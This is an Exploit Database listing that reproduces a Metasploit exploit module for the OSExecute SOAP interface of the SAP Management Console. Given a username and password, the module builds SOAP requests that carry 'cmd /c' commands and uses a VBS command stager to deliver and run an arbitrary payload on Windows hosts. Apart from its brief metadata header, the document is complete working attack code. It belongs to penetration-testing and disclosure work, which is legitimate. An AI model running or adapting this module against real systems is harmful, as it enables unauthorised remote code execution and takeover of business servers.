SAP Management Console – OSExecute Payload Execution (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2011-10-24
• 类别：

  • webapps
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18032/

• ##
  # $Id: sap_mgmt_con_osexec_payload.rb 14048 2011-10-24 16:42:07Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit4 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	HttpFingerprint = { :pattern => [ /gSOAP\/2.7/ ] }
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::CmdStagerVBS
  	include Msf::Exploit::EXE
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'SAP Management Console OSExecute Payload Execution',
  			'Version'=> '$Revision: 14048 $',
  			'License'=> MSF_LICENSE,
  			'Author' => [ 'Chris John Riley' ],
  			'Description'=> %q{
  					This module executes an arbitrary payload through the SAP Management Console
  				SOAP Interface.A valid username and password must be provided.
  			},
  			'References' =>
  				[
  					# General
  					[ 'URL', 'http://blog.c22.cc' ]
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  				},
  			'Payload'=>
  				{
  				'BadChars' => "\x00\x3a\x3b\x3d\x3c\x3e\x0a\x0d\x22\x26\x27\x2f\x60\xb4",
  				},
  			'Platforms'=> [ 'win' ],
  			'Targets'=>
  				[
  					[
  						'Windows Universal',
  						{
  							'Arch' => ARCH_X86,
  							'Platform' => 'win'
  						},
  					],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Mar 08 2011'
  		))
  
  		register_options(
  			[
  				Opt::RPORT(50013),
  				OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
  				OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
  				OptString.new('USERNAME', [true, 'Username to use', '']),
  				OptString.new('PASSWORD', [true, 'Password to use', '']),
  			], self.class)
  		register_advanced_options(
  			[
  				OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', '7500']),
  			], self.class)
  		register_autofilter_ports([ 50013 ])
  	end
  
  	def autofilter
  		false
  	end
  
  	def exploit
  		print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
  		linemax = datastore['PAYLOAD_SPLIT'] # Values over 9000 can cause issues
  		print_status("Using custom payload size of #{linemax}") if linemax != 7500
  		execute_cmdstager({ :delay => 0.35, :linemax => linemax })
  		handler
  	end
  
  	# This is method required for the CmdStager to work...
  	def execute_command(cmd, opts)
  
  		soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
  		xsi = 'http://www.w3.org/2001/XMLSchema-instance'
  		xs = 'http://www.w3.org/2001/XMLSchema'
  		sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
  		ns1 = 'ns1:OSExecute'
  
  		cmd_s = cmd.split("&") #Correct issue with multiple commands on a single line
  		if cmd_s.length > 1
  			print_status("Command Stager progress -Split final payload for delivery (#{cmd_s.length} sections)")
  		end
  
  		cmd_s = cmd_s.collect(&:strip)
  		cmd_s.each do |payload|
  
  			data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
  			data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '"xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
  			data << '<SOAP-ENV:Header>' + "\r\n"
  			data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
  			data << '<enableSession>true</enableSession>' + "\r\n"
  			data << '</sapsess:Session>' + "\r\n"
  			data << '</SOAP-ENV:Header>' + "\r\n"
  			data << '<SOAP-ENV:Body>' + "\r\n"
  			data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><command>cmd /c ' + payload.strip
  			data << '</command><async>0</async></' + ns1 + '>' + "\r\n"
  			data << '</SOAP-ENV:Body>' + "\r\n"
  			data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
  
  			user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
  
  			begin
  				res = send_request_raw({
  					'uri' => "/#{datastore['URI']}",
  					'method'=> 'POST',
  					'data'=> data,
  					'headers' =>
  						{
  							'Content-Length'=> data.length,
  							'SOAPAction'=> '""',
  							'Authorization' => 'Basic ' + user_pass,
  							'Content-Type'=> 'text/xml; charset=UTF-8',
  						}
  				}, 60)
  
  			if (res.code != 500 and res.code != 200)
  				print_error("[SAP] An unknown response was received from the server")
  				abort("Invlaid server response")
  			elsif res.code == 500
  				body = res.body
  				if body.match(/Invalid Credentials/i)
  					print_error("[SAP] The Supplied credentials are incorrect")
  					abort("Exploit not complete, check credentials")
  				elsif body.match(/Permission denied/i)
  					print_error("[SAP] The Supplied credentials are valid, but lack OSExecute permissions")
  					raise RuntimeError.new("Exploit not complete, check credentials")
  				end
  			end
  
  			rescue ::Rex::ConnectionError
  				print_error("[SAP] Unable to attempt authentication")
  				break
  			end
  		end
  	end
  end